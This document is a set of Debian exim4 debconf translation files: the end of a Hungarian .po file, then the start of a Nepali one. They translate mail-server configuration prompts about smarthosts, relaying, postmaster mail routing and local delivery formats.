Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Add meg az e rendszer által kimenő smarthost-ként használt levelező " "kiszolgáló IP-címét vagy gépnevét. Ha a smarthost számára a TCP/25 port nem " "megfelelő, adj hozzá 2 kettőspontot és a port számát (például smarthost." "példa:587 vagy 192.168.254.254::2525). Az IPv6 címekben dupla kettőspont " "kell." #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Ha a smarthost hitelesítést igényel, lásd a /usr/share/doc/exim4-base/README." "Debian.gz-t az SMTP-hitelesítés beállításokról." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "A \"root\" és \"postmaster\" felhasználóknak címzett leveleket kapja:" #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "A \"postmaster\", \"root\" és más rendszer-fiókok leveleit a rendszergazda " "által használt normál felhasználói fiókba kell irányítani." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Ha ez ez érték üresen marad, az ilyen levél a /var/mail/mail-be kerül, mely " "nem ajánlott." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "A postmaster leveleit ajánlott helyben olvasni, nem máshová továbbítani, " "azért az itt felsorolt felhasználók ne továbbítsák leveleiket más gépre " "(legalább egyikük). Egy \"real-\" előtag kikényszeríti a helyi kézbesítést." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "Multiple user names need to be separated by spaces." msgstr "Több felhasználónevet szóközzel kell elálasztani." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Bejövő SMTP-kapcsolatokat figyelő IP-címek:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Add meg az IP-címeket pontosvesszővel elválasztva. Az Exim SMTP figyelő " "démon minden itt megadott IP-címen figyel." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Ha üresen marad, az Exim az összes elérhető hálózati csatolón figyeli a " "kapcsolatokat." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Ha e rendszer csak helyi szolgáltatásoktól, mint például fetchmail vagy " "email-kliens (MUA) fogad leveleket (más gépektől nem), érdemes tiltani a " "helyi Exim külső kapcsolatait. Ez a 127.0.0.1 megadásával érhető el. Ez " "kikapcsolja a nyilvános hálózati csatolókon való figyelést." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Minimalizálod a DNS-kérések számát (szükséges kapcsolódáskor)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Normál módú üzemeltetéskor az Exim induláskor és levelek fogadásakor vagy " "küldésekor DNS-kéréseket tesz. Ennek célja a naplózás és lehetővé teszi a " "bedrótozott értékek számának alacsonyan tartását a beállításban." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Ha e rendszer nem bír állandó DNS feloldóval (például Internet hozzáférése " "egy igény szerinti betárcsázós vonal) ez nem-kívánt következményekkel " "járhat. Például az Exim indítása vagy a várakozó sor futtatása (még ha nincs " "is várakozó levél) drága betárcsázást okozhat." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "E lehetőség választandó, ha a rendszer szükség szerinti betárcsázást " "használ. Állandó Internet eléréssel, e lehetőség legyen kapcsolva." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Levelező kiszolgáló beállítás" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Konfiguráció szétvágása kisebb fájlokba?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "A Debian levő exim4 csomagoknál lehetséges a \"beállítás összefogása\" egy " "nagy monolitikus fájlba (/etc/exim4/exim4.conf.template) és \"beállítás " "szétvgása\", ahol az Exim beállítás az /etc/exim4/conf.d/ mintegy 50 db. " "kisebb fájljából épül fel." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "A beállítás egyben tartása jobb nagy módosításokra és általában stabilabb, a " "szétvágással kényelmesebbek a kis módosítások, de könnyebb elrontani." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "A beállítás részletei a /usr/share/doc/exim4-base/README.Debian.gz fájlban " "találhatók." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Elrejted a helyi levelezési nevet a kimenő levelekből?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 #, fuzzy msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "A kimenő levelek fejléce átírható, mintha más gépről jönnének. E lehetőség " "választásakor a From, Reply-To, Sender és Return-Path mezőkben lévő " "\"${mailname}\" \"localhost\" és \"${dc_other_hostnames}\" átírásra kerül." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox formátum a /var/mail könyvtárban" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir formátum a saját könyvtárban" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Kézbesítési mód helyi levelekhez:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Az Exim a helyben kézbesített leveleket több formában tudja tárolni. A " "legáltalánosabban használtak az mbox és Maildir. Az mbox az egész levél-" "mappát a /var/mail könyvtárban 1 fájlban tárolja. A Maildir formátum minden " "egyes üzenetet külön fájlban tárol a ~/Maildir/ könyvtárban." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Jó tudni, hogy Debian rendszerben lévő legtöbb levelező eszköz a helyi " "kézbesítési módot alapértelmezetten mbox formában feltételezi." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "Átrakod az exim(v3) kézbesítetlen leveleket az exim4 sorba?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Kézbesítetlen levelek vannak az exim(v3) (vagy exim-tls(v3)) /var/spool/" #~ "exim/input könyvtárban." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "E lehetőség választása az üzeneteket az exim4 sorba teszi (/var/spool/" #~ "exim4/input/), ahol majd az exim4 kezeli." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Ez egyirányú: az Exim4 kezeli az exim(v3) sort, nem fordítva. Tedd át az " #~ "üzeneteket, ha nem tervezel visszatérni az exim(v3)-hoz. Egyébként az " #~ "üzeneteket kézzel kell mozgatni később." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Üresen hagyva az Exim nem kézbesít helyben." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Figyelem: ez csak odafelé működik, mivel az exim4 képes az exim(v3)-spool " #~ "kezelésére, de visszafelé ez nem áll." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Csak akkor tedd át a leveleket, ha nem tervezed az exim(v3)-ra " #~ "visszatérést, egyébként a leveleket ne most, hanem az átállás után kézzel " #~ "mozgasd." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Ha vannak továbbiak, azokat kettőspontokkal elválasztva add meg. Ha " #~ "nincsenek, hagyd üresen." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Add meg a tartományokat, melyekről leveleket továbbításra elfogadsz." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Az ilyen tartományok levelei az Interneten akárhol eredhetnek, attól " #~ "függetlenül elfogadja és továbbítja azokat. Helyi tartományokat itt ne " #~ "adj meg." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "A megadott tartományokat kettőspontok válasszák el. Illesztőkarakterek is " #~ "szerepelhetnek." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Mivel a kimenő levelekben eltünteted a helyi levelezési nevet, meg kell " #~ "adni a helyi felhasználóktól származó leveleken feltüntetendő " #~ "tartománynevet; ez tipikusan a levelek fogadására szolgáló gép neve." #~ msgid "Where will your users read their mail?" #~ msgstr "Hol olvassák a felhasználók a leveleiket?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "E gép kimenő leveleit kezelő gép (\"smarthost\"):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "Add meg a kimenő leveleket továbbító gép nevét." #~ msgid "" #~ "Mail for the \"postmaster\", \"root\", and other system accounts is " #~ "usually redirected to the user account of the actual system " #~ "administrator. If you leave this value empty, such mail will be saved in /" #~ "var/mail/mail, which is not recommended. Note that postmaster's mail " #~ "should be read on the system to which it is directed, rather than being " #~ "forwarded elsewhere, so (at least one of) the users you choose should not " #~ "redirect their mail off this machine. Use a \"real-\" prefix to force " #~ "local delivery." #~ msgstr "" #~ "A \"postmaster\", \"root\" és egyéb rendszerfiókok részére küldött " #~ "leveleket általában a tényleges rendszeradminisztrátornak szokták " #~ "továbbítani. Ha üresen marad, az ilyen levelek a /var/mail/mail-be " #~ "kerülnek, ami nem éppen optimális müködés. Fontos továbbá, hogy a " #~ "\"postmaster\" részére küldött leveleket az adott gépen érdemes olvasni, " #~ "kifelé továbbítás nélkül, ezért az itt megadott felhasználók legalább " #~ "egyike ne továbbítsa a leveleit másik gépre. Egy \"real-\" előtag " #~ "megadásával kényszeríthető a helyi kézbesítés." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Hálózati aktivitásra éledő kapcsolatnál, érdemes ezt bekapcsolni, " #~ "egyébként nem." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Válaszd az igényeidnek leginkább megfelelő konfigurációtípust." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Kétség esetén, ne a szétosztott konfigurációs fájlokat válaszd." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "egyedi Exim(v3)-beállítások kézi átkonvertálása" #~ msgid "Configure Exim4 manually?" #~ msgstr "Kézzel konfigurálod az Exim4-et?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Egyedi Exim(v3) beállítások kézi átkonvertálását tervezed. Ebben a " #~ "telepítés után az exim_convert4r4(8) eszköz segíthet. Érdemes elolvasni " #~ "az /usr/share/doc/exim4-base/examples/example.conf.gz és az /usr/share/" #~ "doc/exim4-base/README.Debian.gz fájlokat!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "A levelezőrendszer a konfigurálás végigvitele híján egyelőre " #~ "működésképtelen állapotban marad." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "A \"levelezésben használt név\" a kimenő hír- és levélüzenetekben " #~ "megjelenő címeknek a gép nevéből származó (a felhasználónév és a @-jel " #~ "után álló) része (hacsak felülírással el nem rejted)." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Add meg a helyi géphálózatokat, melyekről leveleket továbbításra " #~ "elfogadsz." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Itt szerepeljen a jelen gépet \"smarthost\"-ként használó minden más gép." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "IPv6-címekben dupla kettőspontok, \"négyespontok\" kellenek (pl. " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Kettőspontokkal elválasztva add meg a figyelő IP-címek listáját. Az IPv6-" #~ "címekben dupla kettőspontok, \"négyespontok\" kellenek (pl. " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Az Exim v4 konfigurálása (exim4-config)" #, fuzzy #~ msgid "" #~ "If you are configuring this system without local mail delivery this name " #~ "won't appear on From: lines of mail, as rewriting is used." #~ msgstr "" #~ "Ha a jelen gépet \"szatellit\"-ként konfigurálja, akkor a címen végzett " #~ "átírás miatt a küldött levelek From: (feladó) mezőiben ez a név nem fog " #~ "szerepelni." #~ msgid "" #~ "Obviously, any machines that use us as a smarthost have to be excluded " #~ "from the relaying controls, as using us to relay mail for them is the " #~ "whole point." #~ msgstr "" #~ "A jelen gépet \"smarthost\"-ként, levéltovábbításra használó minden gépet " #~ "természetesen fel kell menteni a levéltovábbítási tilalom alól, hiszen az " #~ "egész felállásnak pont az az értelme, hogy a jelen gép kifelé továbbítsa " #~ "azok leveleit." #~ msgid "" #~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " #~ "to one or more user accounts of the actual system administrators. The " #~ "default is to set things up so that mail for \"postmaster\" and for " #~ "various system accounts is redirected to \"root\", and mail for \"root\" " #~ "is redirected to a real user. This can be changed by editing /etc/" #~ "aliases." #~ msgstr "" #~ "A \"postmaster\" és a \"root\" fiókoknak címzett leveleket a tényleges " #~ "rendszeradminisztrátor(ok) fiókjába-fiókjaiba szokták átirányítani. " #~ "Alapértelmezésben a \"postmaster\" (és egyéb rendszerszintű fiókok) " #~ "leveleit a \"root\"-hoz szokták irányítani, a \"root\" leveleit pedig egy " #~ "megadott valós felhasználónak. Ezt a felállást az /etc/aliases " #~ "átszerkesztésével meg lehet változtatni." #~ msgid "" #~ "System administrator mail goes to which user accounts? Enter one or more " #~ "usernames separated by spaces or commas. Enter \"none\" if you do not " #~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " #~ "run deliveries as root and will save the mail to /var/mail/mail Also, " #~ "note that usernames should be lowercase!" #~ msgstr "" #~ "Melyik felhasználói fiókok fogadnak rendszeradminisztrátori " #~ "levélforgalmat? Vesszőkkel elválasztva adjon meg egy vagy több " #~ "felhasználónevet. A \"none\" megadásával megakadályozhatja a levelek " #~ "átirányítását. Figyelem, ez nem tanácsos. Az Exim nem kézbesíthet a \"root" #~ "\" felhasználó nevében, és az ilyen leveleket a /var/mail/mail-be menti. " #~ "Ügyeljen továbbá arra is, hogy a megadott felhasználóneveket kisbetűkkel " #~ "írja." debian/po/ne.po0000644000000000000000000010562512027557533010570 0ustar # translation of exim4_debian_po_ne.po to Nepali # Shyam Krishna Bal , 2006. # Shyam Krishna Bal , 2006. # shyam krishna bal , 2007. msgid "" msgstr "" "Project-Id-Version: exim4_debian_po_ne\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-25 18:20+0545\n" "Last-Translator: shyam krishna bal \n" "Language-Team: Nepali \n" "Language: ne\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2;plural=(n!=1)\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "स्पूल डाइरेक्ट्रीमा हस्तान्तरण नभएका पत्रहरू हटाउनुहुन्छ ?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "त्यहाँ एक्जिम स्पूल डाइरेक्ट्री /var/spool/exim4/input मा पत्रहरू छन् जुन अहिले सम्म " "हस्तान्तरण भएको छैन । एक्जिम हटाउँनाले तिनीहरू एक्जिम पुन-स्थापना नभए सम्म हस्तान्तरण हुने " "छैन ।" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "यदि यो विकल्प रोज्नु भएन भने, एक्जिम पुन: स्थापना गरेपछि पछिल्लो मितिमा हस्तान्तरण गर्न " "लाममा सन्देशहरूलाई अनुमति दिएर, स्पूल डाइरेक्टरी राखिन्छ ।" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr " यो प्याकेजहरूको सट्टामा एक्जिम४-कन्फिग पुन: कन्फिगर गर्नुहोस्" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "एक्जिम४ सँग समर्पित गरिएको प्याकेज, एक्जिम४-कन्फिगमा यसको कन्फिगरेसन फ्याक्टर्ड आउट छ ।" "एक्जिम४ पुन: कन्फिगर गर्न, 'dpkg-reconfigure exim4-config' प्रयोग गर्नुहोस् ।" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "इन्टरनेट साइट; पत्र पठाइयो र STMP प्रयोग गरेर सिधै प्राप्त गरियो" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "स्मार्टहोस्टद्वारा पत्र पठाइयो; via SMTP वा fetchmail पायो" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "स्मार्टहोस्टद्वारा पत्र पठाइयो; कुनै स्थानिय पत्र छैन" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "स्थानिय हस्तान्तरण मात्र; सञ्जालमा होइन" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "यो समयमा कुनै कन्फिगरेसन भएन" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "पत्र कन्फिगरेसनको सामन्य प्रकार:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "कन्फिगरेसन प्रकार चयन गर्नुहोस् जसले तपाईँको उत्तम आवश्यकताहरुलाई भेट्दछ ।" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "डायलअप प्रणालीहरू समावेश गरेर, गतिशिल आईपी ठेगानाहरूसँग प्रणालीहरू, अर्को मेशिनमा " "निर्गमण पत्र पठाउन सामान्यतया कन्फिगर गरिनेछ, जसलाई हस्तान्तरणका लागि 'स्मार्टहोस्ट' " "भनिन्छ किनभने इन्टरनेटमा धेरै प्राप्त गर्ने प्रणालीहरूले स्प्याम सुरक्षाको रूपमा गतिशिल आईपी " "ठेगानाबाट आगमन पत्र ब्लक गर्दछ ।" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "गतिशील आई पी ठेगाना भएको प्रणालीले यसको आफ्नै पत्र प्राप्त गर्न सक्छ, (मूल र " "पोस्टमास्टरका लागि पत्र बाहेक) स्थानिय हस्तान्तरण पूर्ण रूपमा अक्षम गरिएको हुनसक्छ ।" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "साँच्चै कन्फिगर नभएको पत्र प्रणाली छोड्नुहुन्छ ?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "पत्र प्रणाली कन्फिगर नभएसम्म, यो विच्छेदन हुनेछ र प्रयोग हुन सक्दैन । पछिल्लो समयमा " "कन्फिगरेसन या त हातद्वारा वा मूलको रूपमा 'dpkg-reconfigure exim4-config' चलाएर " "गर्न सकिन्छ ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "प्रणाली पत्र नाम:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'पत्र नाम' डोमेन नाम हो जुन डोमेन नाम बिना पत्र ठेगानाहरू 'योग्य' गर्न प्रयोग गरिन्छ ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "यो नाम अन्य कार्यक्रमहरुले पनि प्रयोग गर्नेछ । यो एकल, पूर्ण योग्य डोमेन नाम (FQDN) पनि " "हुन सक्छ ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "तसर्थ, यदि स्थानिय होस्टमा पत्र ठेगाना foo@example.org छ भने, यो विकल्पका लागि सही " "मान example.org हुनेछ ।" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "यदि तपाईँले पुन:लेखन सक्षम गर्नु भयो भने बाहिर जाने पत्रहरुको लाइनहरुबाट: यो नाम देखा पर्न " "सक्दैन ।" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "पत्र स्वीकार गरिने अन्य गन्तब्य स्थानहरू:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "कृपया प्रापक डोमेनको अल्पबिराम-विभाजित सूची प्रविष्ट गर्नुहोस् जसका लागि यो मेशिन आफैले " "अन्तिम गन्तब्य विचार गर्नेछ । यी डोमेनहरूलाई साझा रूपमा 'स्थानिय डोमेनहरू' भनिन्छ । " "स्थानिय होस्टनाम (${fqdn}) र 'स्थानिय होस्ट' सधै यहाँ दिएको सूचीमा थप हुन्छ ।" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "पूर्वनिर्धारण द्वारा सबै डोमेनहरू उस्तै व्यवहार गरिने छन् । यदि दुवै a.example र b.example " "स्थानिय डोमेनहरू हुन भने, acc@a.example र acc@b.example एउटै अन्तिम गन्तब्यमा " "हस्तान्तरण गरिनेछन् । यदि तपाईँ विभिन्न व्यवहार गर्न विभिन्न डोमेन नामहरू चाहनुहुन्छभने, " "तपाईँले कनफिग फाइलहरू सम्पादन गर्नुपर्नेछ । " #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "पत्र प्रशारण गर्नको लागि डोमेनहरू:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "कृपया प्रापक डोमेनको लागि अल्पबिराम-बिभाजित सूची प्रविष्ट गर्नुहोस् जसको लागि यो " "प्रणालीले पत्र प्रसारण गर्दछ, जस्तै फल्ब्याक एम एक्स वा पत्र गेटवे । यसको मतलब यो प्रणालीले " "इन्टरनेटमा कुनै ठाउँबाट यी डोमेनहरूका लागि पत्र स्वीकार गर्नेछ र तिनीहरूलाई स्थानिय " "हस्तान्तरण नियमको आधारमा हस्तान्तरण गर्छ । " #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "यहाँ स्थानिय डोमेनहरू उल्लेख नगर्नुहोस् । वाइल्डकार्डहरू प्रयोग गरिएको हुनसक्छ ।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "पत्र प्रशारण गर्न मेशिनहरू:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "कृपया आईपी ठेगाना दायराको अल्पबिराम-विभाजित सूची प्रविष्ट गर्नुहोस् जसका लागि यो " "प्रणालीले स्मार्टहोस्टको रूपमा प्रकार्य गरेर, बिना सर्त पत्र प्रशारण गर्दछ ।" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "तपाईँले मानक ठेगाना/उपसर्ग ढाँचा (e.g. 194.222.242.0/24 